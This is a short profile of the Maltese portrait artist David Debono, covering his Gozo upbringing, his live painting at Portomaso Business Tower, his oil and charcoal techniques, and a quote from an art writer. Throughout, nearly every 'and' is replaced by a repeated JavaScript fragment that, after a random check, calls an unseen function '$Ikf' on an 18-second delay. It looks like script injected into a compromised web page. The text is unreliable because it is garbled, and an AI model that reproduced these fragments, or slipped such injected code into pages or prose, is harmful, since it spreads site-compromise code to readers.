David Debono

David Debono is an artist who specialises in portraying the human figure. Raised in Nadur, Gozo, in a family known for its artistic skills, he cannot remember a time when he was not experimenting with drawing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sculpting clay.

During The Trail David can be found at Portomaso Business Tower, working on his portrait paintings. This is a fantastic opportunity to see David painting from life, to ask about his process andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and learn more about the art of portraiture.

David begins by sketching live models or working from memory, trying new compositional arrangements in his sketchbook. Many will end up on a high quality linen canvas, paper or wood panel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his favourite media are oils, charcoal or graphite. He works using various techniques, both ‘alla prima’ (a process whereby colour is applied directly to the canvas) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and indirectly, where paint is applied layer after layer until the desired colour is achieved.

David’s compelling charcoal studies of people andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and faces are masterfully strong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expressive, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in each of his works you can see his careful training andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and feel the weight of art history. In many, with striking sepia tones, it is almost as if you are stepping back in time. They intrigue the viewer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and invite you to uncover their narrative.” says art writer Esther Lafferty.